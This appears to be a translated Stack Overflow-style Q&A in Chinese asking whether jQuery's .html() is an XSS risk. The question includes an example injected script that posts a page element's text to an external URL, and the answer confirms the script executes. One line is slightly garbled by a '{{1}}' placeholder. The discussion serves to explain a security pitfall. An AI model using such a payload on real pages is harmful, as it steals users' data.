jQuery.html()危险吗?

时间:2012-08-17 16:49:30

标签: javascript jquery security

  

可能重复:
  html() vs innerHTML jquery/javascript & XSS attacks

jQuery.html()是危险的吗?

$("#id").html("<span>"+ variable + "</span>");

与上面的示例类似,如果变量具有以下值:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {} ) </script>"

脚本会被执行吗?如果有,是否有任何方法允许变量包含普通的html标签但不包含脚本?

编辑:在字符串

中添加了脚本标记

1 个答案:

答案 0 :(得分:3)

是的,该脚本将被执行。

http://jsfiddle.net/9ybUJ/2/

.html()隐式查找任何脚本元素并对其进行篡改。这与.innerHTML相反,{{1}}从不在html中执行脚本。

相关问题